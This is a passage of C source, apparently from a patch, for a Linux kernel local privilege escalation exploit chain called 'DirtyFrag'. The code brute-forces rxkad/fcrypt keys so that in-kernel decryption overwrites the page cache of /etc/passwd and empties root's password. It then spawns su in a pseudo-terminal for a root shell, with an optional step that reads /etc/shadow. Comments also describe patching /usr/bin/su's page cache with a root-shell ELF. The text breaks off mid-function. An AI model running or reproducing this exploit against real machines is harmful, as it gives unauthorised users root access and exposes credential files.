0x60, 0x65, + 0x85, 0xe9, 0x64, 0x02, 0x9a, 0x3f, 0x9f, 0x87, 0x96, 0xdf, 0xbe, 0xf2, 0xcb, 0xe5, 0x6c, 0xd4, + 0x5a, 0x83, 0xbf, 0x92, 0x1b, 0x94, 0x00, 0x42, 0xcf, 0x4b, 0x00, 0x75, 0xba, 0x8f, 0x76, 0x5f, + 0x5d, 0x3a, 0x4d, 0x09, 0x12, 0x08, 0x38, 0x95, 0x17, 0xe4, 0x01, 0x1d, 0x4c, 0xa9, 0xcc, 0x85, + 0x82, 0x4c, 0x9d, 0x2f, 0x3b, 0x66, 0xa1, 0x34, 0x10, 0xcd, 0x59, 0x89, 0xa5, 0x31, 0xcf, 0x05, + 0xc8, 0x84, 0xfa, 0xc7, 0xba, 0x4e, 0x8b, 0x1a, 0x19, 0xf1, 0xa1, 0x3b, 0x18, 0x12, 0x17, 0xb0, + 0x98, 0x8d, 0x0b, 0x23, 0xc3, 0x3a, 0x2d, 0x20, 0xdf, 0x13, 0xa0, 0xa8, 0x4c, 0x0d, 0x6c, 0x2f, + 0x47, 0x13, 0x13, 0x52, 0x1f, 0x2d, 0xf5, 0x79, 0x3d, 0xa2, 0x54, 0xbd, 0x69, 0xc8, 0x6b, 0xf3, + 0x05, 0x28, 0xf1, 0x16, 0x46, 0x40, 0xb0, 0x11, 0xd3, 0xb7, 0x95, 0x49, 0xcf, 0xc3, 0x1d, 0x8f, + 0xd8, 0xe1, 0x73, 0xdb, 0xad, 0xc8, 0xc9, 0xa9, 0xa1, 0xc2, 0xc5, 0xe3, 0xba, 0xfc, 0x0e, 0x25, +}; + +static uint32_t fc_sbox0[256], fc_sbox1[256], fc_sbox2[256], fc_sbox3[256]; + +#include + +static void fcrypt_init_sboxes(void) +{ + for (int i = 0; i < 256; i++) { + fc_sbox0[i] = htobe32((uint32_t)fc_sbox0_raw[i] << 3); + fc_sbox1[i] = htobe32(((uint32_t)(fc_sbox1_raw[i] & 0x1f) << 27) | + ((uint32_t)fc_sbox1_raw[i] >> 5)); + fc_sbox2[i] = htobe32((uint32_t)fc_sbox2_raw[i] << 11); + fc_sbox3[i] = htobe32((uint32_t)fc_sbox3_raw[i] << 19); + } +} + +#define fc_ror56_64(k, n) \ + (k = (k >> (n)) | ((k & ((1ULL << (n)) - 1)) << (56 - (n)))) + +typedef struct { uint32_t sched[16]; } fcrypt_uctx; + +static void fcrypt_user_setkey(fcrypt_uctx *ctx, const uint8_t key[8]) +{ + uint64_t k = 0; + k = (uint64_t)(key[0] >> 1); + k <<= 7; k |= (uint64_t)(key[1] >> 1); + k <<= 7; k |= (uint64_t)(key[2] >> 1); + k <<= 7; k |= (uint64_t)(key[3] >> 1); + k <<= 7; k |= (uint64_t)(key[4] >> 1); + k <<= 7; k |= (uint64_t)(key[5] >> 1); + k <<= 7; k |= (uint64_t)(key[6] >> 1); + k <<= 7; k |= (uint64_t)(key[7] >> 1); + + ctx->sched[0x0] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0x1] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0x2] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0x3] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0x4] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0x5] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0x6] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0x7] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0x8] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0x9] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0xa] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0xb] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0xc] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0xd] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0xe] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0xf] = htobe32((uint32_t)k); +} + +#define FC_F(R_, L_, sched_) do { \ + union { uint32_t l; uint8_t c[4]; } u; \ + u.l = (sched_) ^ (R_); \ + L_ ^= fc_sbox0[u.c[0]] ^ fc_sbox1[u.c[1]] ^ \ + fc_sbox2[u.c[2]] ^ fc_sbox3[u.c[3]]; \ +} while (0) + +static void fcrypt_user_decrypt(const fcrypt_uctx *ctx, + uint8_t out[8], const uint8_t in[8]) +{ + uint32_t L, R; + memcpy(&L, in, 4); + memcpy(&R, in + 4, 4); + FC_F(L, R, ctx->sched[0xf]); + FC_F(R, L, ctx->sched[0xe]); + FC_F(L, R, ctx->sched[0xd]); + FC_F(R, L, ctx->sched[0xc]); + FC_F(L, R, ctx->sched[0xb]); + FC_F(R, L, ctx->sched[0xa]); + FC_F(L, R, ctx->sched[0x9]); + FC_F(R, L, ctx->sched[0x8]); + FC_F(L, R, ctx->sched[0x7]); + FC_F(R, L, ctx->sched[0x6]); + FC_F(L, R, ctx->sched[0x5]); + FC_F(R, L, ctx->sched[0x4]); + FC_F(L, R, ctx->sched[0x3]); + FC_F(R, L, ctx->sched[0x2]); + FC_F(L, R, ctx->sched[0x1]); + FC_F(R, L, ctx->sched[0x0]); + memcpy(out, &L, 4); + memcpy(out + 4, &R, 4); +} + +/* For the 2-splice chain we want the line to have EXACTLY 6 ':' and a + * shell field that equals "/bin/bash" (in /etc/shells, valid path). + * The two splices interlock as: + * + * bytes 7..14 (offset 2800): P1 — sets uid=0, gid=1 digit, then + * 4 random gecos-prefix bytes. + * bytes 15..22 (offset 2808): P2 — wipes the original ':' at line + * pos 16, preserves ':' at pos 21 and '/' at pos 22. + * + * Combined line: "test:x:0:G:GGGGGGGGGG:/home/test:/bin/bash" + * pos 0 8 21 32 + * + * pw_uid=0, pw_gid=G, pw_dir="/home/test", pw_shell="/bin/bash". + * Now `su -s /bin/bash test` proceeds through the restricted_shell() + * check (because /bin/bash IS in /etc/shells) and exec()s /bin/bash + * under uid=0. + * + * === 3-splice predicates === + * + * After applying splices A, B, C in order to /etc/passwd line 1 + * (offsets 4, 6, 8 — each 8 bytes, last-write-wins), the final state + * of chars 4..15 is determined by these P bytes: + * + * char 4 = P_A[0] want: ':' + * char 5 = P_A[1] want: ':' + * char 6 = P_B[0] want: '0' (overwrites P_A[2]) + * char 7 = P_B[1] want: ':' (overwrites P_A[3]) + * char 8 = P_C[0] want: '0' (overwrites P_A[4]/P_B[2]) + * char 9 = P_C[1] want: ':' (overwrites P_A[5]/P_B[3]) + * char 10..14 = P_C[2..6] want: any byte except ':' '\0' '\n' + * char 15 = P_C[7] want: ':' + * + * The constraints on P_A[2..7] and P_B[2..7] are vacuous because they + * are overwritten before /etc/passwd is read by anyone — we only care + * about the final state. */ +static inline int fc_check_pa_nullok(const uint8_t P[8]) +{ + return P[0] == ':' && P[1] == ':'; +} + +static inline int fc_check_pb_nullok(const uint8_t P[8]) +{ + return P[0] == '0' && P[1] == ':'; +} + +static inline int fc_check_pc_nullok(const uint8_t P[8]) +{ + if (P[0] != '0') return 0; + if (P[1] != ':') return 0; + if (P[7] != ':') return 0; + for (int i = 2; i < 7; i++) { + if (P[i] == ':' || P[i] == '\0' || P[i] == '\n') return 0; + } + return 1; +} + +static uint64_t fc_splitmix64(uint64_t *s) +{ + uint64_t z = (*s += 0x9E3779B97F4A7C15ULL); + z = (z ^ (z >> 30)) * 0xBF58476D1CE4E5B9ULL; + z = (z ^ (z >> 27)) * 0x94D049BB133111EBULL; + return z ^ (z >> 31); +} + +/* Generic brute-force. `predicate` decides if a P is acceptable. */ +typedef int (*pcheck_fn)(const uint8_t P[8]); + +static int find_K_offline_generic(const uint8_t C[8], uint64_t max_iters, + pcheck_fn check, + uint8_t K_out[8], uint8_t P_out[8], + uint64_t seed_init, + const char *label) +{ + fcrypt_uctx ctx; + uint8_t K[8], P[8]; + uint64_t seed = seed_init; + struct timespec ts0, ts1; + clock_gettime(CLOCK_MONOTONIC, &ts0); + + for (uint64_t iter = 0; iter < max_iters; iter++) { + uint64_t r = fc_splitmix64(&seed); + memcpy(K, &r, 8); + fcrypt_user_setkey(&ctx, K); + fcrypt_user_decrypt(&ctx, P, C); + + if (check(P)) { + memcpy(K_out, K, 8); + memcpy(P_out, P, 8); + clock_gettime(CLOCK_MONOTONIC, &ts1); + double dt = (ts1.tv_sec - ts0.tv_sec) + + (ts1.tv_nsec - ts0.tv_nsec) / 1e9; + LOG("%s found after %lu iters in %.2fs (%.2fM/s) K=%02x%02x%02x%02x%02x%02x%02x%02x P=%02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", + label, + (unsigned long)iter, dt, iter / dt / 1e6, + K[0],K[1],K[2],K[3],K[4],K[5],K[6],K[7], + P[0],P[1],P[2],P[3],P[4],P[5],P[6],P[7], + (P[0]>=32&&P[0]<127)?P[0]:'.', + (P[1]>=32&&P[1]<127)?P[1]:'.', + (P[2]>=32&&P[2]<127)?P[2]:'.', + (P[3]>=32&&P[3]<127)?P[3]:'.', + (P[4]>=32&&P[4]<127)?P[4]:'.', + (P[5]>=32&&P[5]<127)?P[5]:'.', + (P[6]>=32&&P[6]<127)?P[6]:'.', + (P[7]>=32&&P[7]<127)?P[7]:'.'); + return 0; + } + + if ((iter & 0x3ffffff) == 0 && iter > 0) { + clock_gettime(CLOCK_MONOTONIC, &ts1); + double dt = (ts1.tv_sec - ts0.tv_sec) + + (ts1.tv_nsec - ts0.tv_nsec) / 1e9; + fprintf(stderr, " [%s %.1fs] iter=%lu (%.2fM/s)\n", + label, dt, (unsigned long)iter, iter / dt / 1e6); + } + } + return -1; +} + + +int rxrpc_lpe_main(int argc, char **argv) +{ + fprintf(stderr, "\n=== rxrpc/rxkad LPE EXPLOIT (uid=1000 → root) ===\n"); + fprintf(stderr, "[*] uid=%u euid=%u gid=%u\n", + getuid(), geteuid(), getgid()); + + { + const char *no_unshare = getenv("POC_NO_UNSHARE"); + if (!no_unshare || *no_unshare != '1') { + const char *do_unshare = getenv("POC_UNSHARE"); + if (do_unshare && *do_unshare == '1') { + if (do_unshare_userns_netns() < 0) return 1; + } + } + } + + /* Open a dummy AF_RXRPC socket to autoload the rxrpc kernel module. + * Without this, the first add_key("rxrpc", ...) call fails with ENODEV + * because the kernel key type "rxrpc" is registered by rxrpc_init() in + * the module load path. */ + { + int dummy = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); + if (dummy < 0) { + WARN("socket(AF_RXRPC): %s — module not loadable?", strerror(errno)); + return 1; + } + close(dummy); + LOG("rxrpc module autoloaded via dummy socket(AF_RXRPC)"); + } + + /* Open /etc/passwd RO and mmap the first page (which contains the + * root entry on line 1). */ + const char *target_path = getenv("POC_TARGET_FILE"); + if (!target_path || !*target_path) target_path = "/etc/passwd"; + + int rfd_ro = open(target_path, O_RDONLY); + if (rfd_ro < 0) { + WARN("open %s RO: %s", target_path, strerror(errno)); + return 1; + } + struct stat st; + fstat(rfd_ro, &st); + if (st.st_size < 32) { WARN("target too small: %lld", (long long)st.st_size); return 1; } + LOG("target %s opened RO, size=%lld, uid=%u gid=%u mode=%04o", + target_path, (long long)st.st_size, st.st_uid, st.st_gid, + st.st_mode & 07777); + + /* mmap first page so the page-cache page stays pinned. */ + void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd_ro, 0); + if (map == MAP_FAILED) { WARN("mmap: %s", strerror(errno)); return 1; } + LOG("mmap'd %s page-cache at %p (PROT_READ|MAP_SHARED)", target_path, map); + + /* If a previous attempt already left the root entry in the patched + * "root::0:0:..." form, treat as success and skip the brute-force / + * trigger stages. Otherwise proceed regardless of current state — + * the brute-force re-derives K_A/K_B/K_C from whatever bytes are + * currently at offsets 4/6/8 of the page-cache page, so it works + * even on the corrupt residue from a previous failed run. */ + { + const char *m = (const char *)map; + if (memcmp(m, "root::0:0", 9) == 0) { + LOG("/etc/passwd already patched (root::0:0...) — nothing to do"); + return 0; + } + LOG("/etc/passwd line 1 first 16 bytes:"); + for (int i = 0; i < 16; i++) + fprintf(stderr, "%02x ", (uint8_t)m[i]); + fprintf(stderr, "\n"); + } + fprintf(stderr, "[*] /etc/passwd line 1 (root entry) BEFORE: '"); + for (int i = 0; i < 32; i++) { + char c = ((const char *)map)[i]; + fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr); + } + fprintf(stderr, "'\n"); + + /* === STAGE 1 — THREE-SPLICE OFFLINE BRUTE FORCE === + * + * Read THREE 8-byte ciphertexts at file offsets 4, 6, 8. Search + * independently for K_A (chars 4-5 = "::"), K_B (chars 6-7 = "0:"), + * K_C (chars 8-15 = "0:GGGGGG:" with G non-control). All searches + * are user-space only — no kernel/VM interaction. + * + * Last-write-wins ordering: trigger A first (covers 4..11), then B + * (covers 6..13 — overrides A's 6..11), then C (covers 8..15 — + * overrides A's 8..11 and B's 8..13). Final state of chars 4..15: + * chars 4..5 = P_A[0..1] + * chars 6..7 = P_B[0..1] + * chars 8..15 = P_C[0..7] + * =================================================================*/ + uint8_t Ca[8], Cb[8], Cc[8]; + int off_a = 4, off_b = 6, off_c = 8; + if (pread(rfd_ro, Ca, 8, off_a) != 8) { WARN("pread Ca: %s", strerror(errno)); return 1; } + if (pread(rfd_ro, Cb, 8, off_b) != 8) { WARN("pread Cb: %s", strerror(errno)); return 1; } + if (pread(rfd_ro, Cc, 8, off_c) != 8) { WARN("pread Cc: %s", strerror(errno)); return 1; } + + LOG("Ca @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", + off_a, Ca[0],Ca[1],Ca[2],Ca[3],Ca[4],Ca[5],Ca[6],Ca[7], + (Ca[0]>=32&&Ca[0]<127)?Ca[0]:'.', (Ca[1]>=32&&Ca[1]<127)?Ca[1]:'.', + (Ca[2]>=32&&Ca[2]<127)?Ca[2]:'.', (Ca[3]>=32&&Ca[3]<127)?Ca[3]:'.', + (Ca[4]>=32&&Ca[4]<127)?Ca[4]:'.', (Ca[5]>=32&&Ca[5]<127)?Ca[5]:'.', + (Ca[6]>=32&&Ca[6]<127)?Ca[6]:'.', (Ca[7]>=32&&Ca[7]<127)?Ca[7]:'.'); + LOG("Cb @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", + off_b, Cb[0],Cb[1],Cb[2],Cb[3],Cb[4],Cb[5],Cb[6],Cb[7], + (Cb[0]>=32&&Cb[0]<127)?Cb[0]:'.', (Cb[1]>=32&&Cb[1]<127)?Cb[1]:'.', + (Cb[2]>=32&&Cb[2]<127)?Cb[2]:'.', (Cb[3]>=32&&Cb[3]<127)?Cb[3]:'.', + (Cb[4]>=32&&Cb[4]<127)?Cb[4]:'.', (Cb[5]>=32&&Cb[5]<127)?Cb[5]:'.', + (Cb[6]>=32&&Cb[6]<127)?Cb[6]:'.', (Cb[7]>=32&&Cb[7]<127)?Cb[7]:'.'); + LOG("Cc @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", + off_c, Cc[0],Cc[1],Cc[2],Cc[3],Cc[4],Cc[5],Cc[6],Cc[7], + (Cc[0]>=32&&Cc[0]<127)?Cc[0]:'.', (Cc[1]>=32&&Cc[1]<127)?Cc[1]:'.', + (Cc[2]>=32&&Cc[2]<127)?Cc[2]:'.', (Cc[3]>=32&&Cc[3]<127)?Cc[3]:'.', + (Cc[4]>=32&&Cc[4]<127)?Cc[4]:'.', (Cc[5]>=32&&Cc[5]<127)?Cc[5]:'.', + (Cc[6]>=32&&Cc[6]<127)?Cc[6]:'.', (Cc[7]>=32&&Cc[7]<127)?Cc[7]:'.'); + + fcrypt_init_sboxes(); + /* selftest */ + { + fcrypt_uctx ctx; + uint8_t z[8] = {0}; + uint8_t cv[8] = { 0x0E, 0x09, 0x00, 0xC7, 0x3E, 0xF7, 0xED, 0x41 }; + uint8_t pv[8]; + fcrypt_user_setkey(&ctx, z); + fcrypt_user_decrypt(&ctx, pv, cv); + if (memcmp(pv, z, 8) != 0) { WARN("fcrypt selftest FAILED"); return 1; } + } + LOG("fcrypt selftest OK"); + + uint8_t Ka[8], Pa_out[8]; + uint8_t Kb[8], Pb_out[8]; + uint8_t Kc[8], Pc_out[8]; + uint8_t Cb_actual[8], Cc_actual[8]; + + { + uint64_t max_iters = 10000000000ULL; + const char *e = getenv("LPE_MAX_ITERS"); + if (e) max_iters = strtoull(e, NULL, 0); + uint64_t seed_base = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid(); + const char *se = getenv("LPE_SEED"); + if (se) seed_base = strtoull(se, NULL, 0); + + fprintf(stderr, "\n=== STAGE 1a: search K_A (chars 4-5 := \"::\") prob ~1.5e-5 ===\n"); + if (find_K_offline_generic(Ca, max_iters, fc_check_pa_nullok, + Ka, Pa_out, seed_base, "K_A") != 0) { + WARN("K_A search exhausted"); return 2; + } + + /* After splice A is applied, the ciphertext that splice B will + * see at file offset 6 is NOT the original Cb — it's the bytes + * that splice A wrote to file offsets 6..11 (= Pa[2..7]) plus + * the original bytes 12..13 (= Cb[6..7]). We must derive + * Cb_actual and search K_B against it. */ + memcpy(Cb_actual, Pa_out + 2, 6); + memcpy(Cb_actual + 6, Cb + 6, 2); + LOG("Cb_actual (after splice A) = %02x%02x%02x%02x%02x%02x%02x%02x", + Cb_actual[0],Cb_actual[1],Cb_actual[2],Cb_actual[3], + Cb_actual[4],Cb_actual[5],Cb_actual[6],Cb_actual[7]); + + fprintf(stderr, "\n=== STAGE 1b: search K_B (chars 6-7 := \"0:\") prob ~1.5e-5 ===\n"); + if (find_K_offline_generic(Cb_actual, max_iters, fc_check_pb_nullok, + Kb, Pb_out, seed_base ^ 0xa5a5a5a5a5a5a5a5ULL, + "K_B") != 0) { + WARN("K_B search exhausted"); return 2; + } + + /* Same chaining logic for splice C: after splice B, file offsets + * 8..13 hold Pb[2..7]; offsets 14..15 still hold the original + * bytes Cc[6..7]. */ + memcpy(Cc_actual, Pb_out + 2, 6); + memcpy(Cc_actual + 6, Cc + 6, 2); + LOG("Cc_actual (after splice B) = %02x%02x%02x%02x%02x%02x%02x%02x", + Cc_actual[0],Cc_actual[1],Cc_actual[2],Cc_actual[3], + Cc_actual[4],Cc_actual[5],Cc_actual[6],Cc_actual[7]); + + fprintf(stderr, "\n=== STAGE 1c: search K_C (chars 8-15 := \"0:GGGGGG:\") prob ~5.4e-8 ===\n"); + if (find_K_offline_generic(Cc_actual, max_iters, fc_check_pc_nullok, + Kc, Pc_out, seed_base ^ 0x5a5a5a5a5a5a5a5aULL, + "K_C") != 0) { + WARN("K_C search exhausted"); return 2; + } + } + + fprintf(stderr, "\n[+] Predicted post-corruption /etc/passwd line 1:\n \"root"); + /* chars 4-5 from P_A */ + for (int i = 0; i < 2; i++) fputc((Pa_out[i]>=32&&Pa_out[i]<127)?Pa_out[i]:'.', stderr); + /* chars 6-7 from P_B */ + for (int i = 0; i < 2; i++) fputc((Pb_out[i]>=32&&Pb_out[i]<127)?Pb_out[i]:'.', stderr); + /* chars 8-15 from P_C */ + for (int i = 0; i < 8; i++) fputc((Pc_out[i]>=32&&Pc_out[i]<127)?Pc_out[i]:'.', stderr); + fprintf(stderr, "/root:/bin/bash\"\n"); + + /* === STAGE 2 — THREE KERNEL TRIGGERS (in order A → B → C) === + * Each trigger does a single in-place decrypt at the + * indicated /etc/passwd file offset. Last-write-wins on overlapping + * bytes determines the final state. + */ + fprintf(stderr, "\n=== STAGE 2a: kernel trigger A @ off %d (set chars 4-5 \"::\") ===\n", off_a); + memcpy(SESSION_KEY, Ka, 8); + if (do_one_trigger(rfd_ro, off_a, 8) < 0) { + WARN("kernel trigger A failed"); return 3; + } + + fprintf(stderr, "\n=== STAGE 2b: kernel trigger B @ off %d (set chars 6-7 \"0:\") ===\n", off_b); + memcpy(SESSION_KEY, Kb, 8); + if (do_one_trigger(rfd_ro, off_b, 8) < 0) { + WARN("kernel trigger B failed"); return 3; + } + + fprintf(stderr, "\n=== STAGE 2c: kernel trigger C @ off %d (set chars 8-15 \"0:GGGGGG:\") ===\n", off_c); + memcpy(SESSION_KEY, Kc, 8); + if (do_one_trigger(rfd_ro, off_c, 8) < 0) { + WARN("kernel trigger C failed"); return 3; + } + + /* Verify: re-read line 1 of /etc/passwd via mmap. */ + fprintf(stderr, "[*] /etc/passwd line 1 (root entry) AFTER: '"); + for (int i = 0; i < 32; i++) { + char c = ((const char *)map)[i]; + fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr); + } + fprintf(stderr, "'\n"); + + /* Sanity-check: chars 4-5 = "::", 6-7 = "0:", 8-9 = "0:", 15 = ':'. */ + { + const char *m = (const char *)map; + int ok = (m[4] == ':' && m[5] == ':' && + m[6] == '0' && m[7] == ':' && + m[8] == '0' && m[9] == ':' && + m[15] == ':'); + if (!ok) { + WARN("post-trigger sanity check failed — char layout off"); + return 4; + } + } + fprintf(stderr, + "\n[!!!] HIT — root entry now has empty passwd field, uid=0, " + "gid=0, dir=/root, shell=/bin/bash.\n"); + + /* === STAGE 3 — VERIFY VIA getent passwd root === */ + fprintf(stderr, + "\n=== STAGE 3: independent verify via `getent passwd root` ===\n"); + { + int p[2]; + if (pipe(p) == 0) { + pid_t pid = fork(); + if (pid == 0) { + close(p[0]); + dup2(p[1], 1); + dup2(p[1], 2); + close(p[1]); + execlp("getent", "getent", "passwd", "root", NULL); + _exit(127); + } + close(p[1]); + char buf[1024]; + ssize_t r = read(p[0], buf, sizeof(buf) - 1); + close(p[0]); + int wstatus = 0; + waitpid(pid, &wstatus, 0); + if (r > 0) { + buf[r] = 0; + fprintf(stderr, "[getent passwd root] %s", buf); + } + fprintf(stderr, + "[+] PRIMITIVE proven: root entry has empty passwd field " + "via NSS.\n"); + } + } + + /* Honour `--corrupt-only` arg or DIRTYFRAG_CORRUPT_ONLY=1 env so + * the chain wrapper can skip the in-process su PTY stage and exec + * /usr/bin/su itself. Avoids the flaky posix_openpt bridge. */ + { + int co_flag = 0; + for (int i = 1; i < argc; i++) + if (!strcmp(argv[i], "--corrupt-only")) { co_flag = 1; break; } + const char *e = getenv("DIRTYFRAG_CORRUPT_ONLY"); + if (e && *e == '1') co_flag = 1; + if (co_flag) return 0; + } + + /* === STAGE 4 — `su` (target=root, no password input) === + * PAM common-auth contains "auth [success=2 default=ignore] + * pam_unix.so nullok" — so a target user with empty passwd field + * + nullok flag accepts an empty password. We auto-inject a + * single newline on the "Password:" prompt and then bridge the + * resulting bash to the user's tty. */ + fprintf(stderr, + "\n=== STAGE 4: spawning interactive root shell via `su` " + "(no password input needed) ===\n\n"); + fflush(stderr); + + int master = posix_openpt(O_RDWR | O_NOCTTY); + if (master < 0 || grantpt(master) < 0 || unlockpt(master) < 0) { + WARN("posix_openpt: %s", strerror(errno)); + return 5; + } + char *slave_name = ptsname(master); + + struct winsize ws; + if (ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == 0) { + ioctl(master, TIOCSWINSZ, &ws); + } + + pid_t pid = fork(); + if (pid < 0) { WARN("fork: %s", strerror(errno)); return 5; } + if (pid == 0) { + /* child */ + setsid(); + int slave = open(slave_name, O_RDWR); + if (slave < 0) _exit(127); + ioctl(slave, TIOCSCTTY, 0); + dup2(slave, 0); dup2(slave, 1); dup2(slave, 2); + if (slave > 2) close(slave); + close(master); + /* `su` with no args targets root. PAM common-auth's pam_unix.so + * nullok accepts the empty passwd we planted in /etc/passwd. */ + execlp("su", "su", NULL); + _exit(127); + } + + /* parent: bridge user's tty <-> master. */ + struct termios saved_termios; + int saved_termios_ok = (tcgetattr(STDIN_FILENO, &saved_termios) == 0); + if (saved_termios_ok) { + struct termios raw = saved_termios; + cfmakeraw(&raw); + tcsetattr(STDIN_FILENO, TCSANOW, &raw); + } + + int auto_pw_sent = 0; + int stdin_eof = 0; /* set when stdin closes (e.g. /dev/null) */ + char buf[4096]; + /* If LPE_AUTO_VERIFY=1 is set, the bridge will inject + * `id; whoami; exit\n` so it can prove uid=0 non-interactively + * (e.g. when stdin is /dev/null in CI). */ + int auto_verify = 0; + { + const char *e = getenv("LPE_AUTO_VERIFY"); + if (e && *e == '1') auto_verify = 1; + } + int verify_sent = 0; + int total_ms = 0; + for (;;) { + struct pollfd pfds[2] = { + { stdin_eof ? -1 : STDIN_FILENO, POLLIN, 0 }, + { master, POLLIN, 0 }, + }; + int pr = poll(pfds, 2, 200); + if (pr < 0 && errno != EINTR) break; + total_ms += 200; + + if (pfds[1].revents & POLLIN) { + ssize_t n = read(master, buf, sizeof(buf)); + if (n <= 0) break; + (void)write(STDOUT_FILENO, buf, n); + if (!auto_pw_sent && (size_t)n < sizeof(buf)) { + buf[n] = 0; + if (strstr(buf, "Password") || strstr(buf, "password")) { + /* Empty password — PAM nullok will accept it. + * (When pam_unix sees an empty passwd field plus + * nullok it skips the prompt entirely; this branch + * handles the case where some other PAM module + * prints a prompt anyway.) */ + (void)write(master, "\n", 1); + auto_pw_sent = 1; + } + } + } + if (!stdin_eof && (pfds[0].revents & POLLIN)) { + ssize_t n = read(STDIN_FILENO, buf, sizeof(buf)); + if (n <= 0) { + /* stdin EOF — stop reading from it but keep bridging + * master → stdout so su can still finish auth and run + * the optional auto-verify command. */ + stdin_eof = 1; + } else { + (void)write(master, buf, n); + } + } + if (pfds[1].revents & (POLLHUP | POLLERR)) break; + + /* Auto-verify: ~1 s after spawn, send `id; whoami; exit\n` so + * the bridge captures uid=0 evidence non-interactively even + * when pam_unix's blank-passwd path skips the prompt. */ + if (auto_verify && !verify_sent && total_ms >= 1000) { + const char cmd[] = "id; whoami; cat /etc/shadow | head -2; exit\n"; + (void)write(master, cmd, sizeof(cmd) - 1); + verify_sent = 1; + } + + int status; + pid_t w = waitpid(pid, &status, WNOHANG); + if (w == pid) { + for (int i = 0; i < 5; i++) { + struct pollfd pf = { master, POLLIN, 0 }; + if (poll(&pf, 1, 50) <= 0) break; + ssize_t n = read(master, buf, sizeof(buf)); + if (n <= 0) break; + (void)write(STDOUT_FILENO, buf, n); + } + break; + } + } + if (saved_termios_ok) { + tcsetattr(STDIN_FILENO, TCSANOW, &saved_termios); + } + close(master); + return 0; +} +/* + * DirtyFrag chain — uid=1000 → root. + * + * 1. ESP path (authencesn AF_ALG --corrupt-only): overwrites the first + * 160 bytes of /usr/bin/su's page-cache with a static x86_64 root- + * shell ELF. Works on every distro tested regardless of PAM nullok + * or /etc/passwd contents — once invoked, the patched setuid-root + * /usr/bin/su just execs /bin/sh as uid 0. + * + * 2. rxrpc path (Ubuntu fallback): if AF_ALG is sandboxed and the ESP + * path can't reach the page cache, fall back to the rxrpc/rxkad + * nullok primitive that patches /etc/passwd's root entry empty. + * PAM nullok then accepts the empty password during `su -`. + * + * 3. Once either target is corrupted, spawn `/usr/bin/su -` inside a + * fresh PTY and bridge the user's tty to it. The bridge handles + * both the patched-su (no PAM at all) and the patched-passwd (PAM + * nullok) cases uniformly, and works even when the caller is in a + * background process group of an ssh-allocated PTY. + * + */ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +extern int su_lpe_main(int argc, char **argv); +extern int rxrpc_lpe_main(int argc, char **argv); + +/* + * The 8 bytes our su payload places at file offset 0x78 — the first + * instructions of the embedded shell ELF. Sequence: + * 31 ff xor edi, edi + * 31 f6 xor esi, esi + * 31 c0 xor eax, eax + * b0 6a mov al, 0x6a (setgid) + * Distros' original /usr/bin/su has different bytes here, so this is + * a reliable post-patch marker. + * + * (We don't check offset 0 because /usr/bin/su already has the ELF + * magic there — both before and after we patch.) + */ +static const uint8_t su_marker[8] = { + 0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a, +}; + +static int su_already_patched(void) +{ + int fd = open("/usr/bin/su", O_RDONLY); + if (fd < 0) + return 0; + uint8_t got[8]; + ssize_t n = pread(fd, got, sizeof(got), 0x78); + close(fd); + if (n != sizeof(got)) + return 0; + return memcmp(got, su_marker, sizeof(su_marker)) == 0; +} + +static int passwd_already_patched(void) +{ + int fd = open("/etc/passwd", O_RDONLY); + if (fd < 0) + return 0; + char head[16]; + ssize_t n = pread(fd, head, sizeof(head), 0); + close(fd); + if (n < 9) + return 0; + return memcmp(head, "root::0:0", 9) == 0; +} + +static int either_target_patched(void) +{ + return su_already_patched() || passwd_already_patched(); +} + +static void silence_stderr(int *saved_fd) +{ + *saved_fd = dup(STDERR_FILENO); + int dn = open("/dev/null", O_WRONLY); + if (dn >= 0) { + dup2(dn, STDERR_FILENO); + close(dn); + } +} + +static void restore_stderr(int saved_fd) +{ + if (saved_fd >= 0) { + dup2(saved_fd, STDERR_FILENO); + close(saved_fd); + } +} + +static char **append_corrupt_only(int argc, char **argv, int *new_argc) +{ + static char *flag = "--corrupt-only"; + static char *buf[64]; + int n = argc < 60 ? argc : 60; + for (int i = 0; i < n; i++) + buf[i] = argv[i]; + buf[n] = flag; + buf[n + 1] = NULL; + *new_argc = n + 1; + return buf; +} + +static void exec_su_login(void) +{ + const char *paths[] = { + "/bin/su", "/usr/bin/su", "/sbin/su", "/usr/sbin/su", NULL, + }; + for (int i = 0; paths[i]; i++) + execl(paths[i], "su", "-", (char *)NULL); + execlp("su", "su", "-", (char *)NULL); +} + +/* + * Spawn `/usr/bin/su -` in a fresh PTY and bridge our tty to it. + */ +static int run_root_pty(void) +{ + int master = posix_openpt(O_RDWR | O_NOCTTY); + if (master < 0) + return -1; + if (grantpt(master) < 0 || unlockpt(master) < 0) { + close(master); + return -1; + } 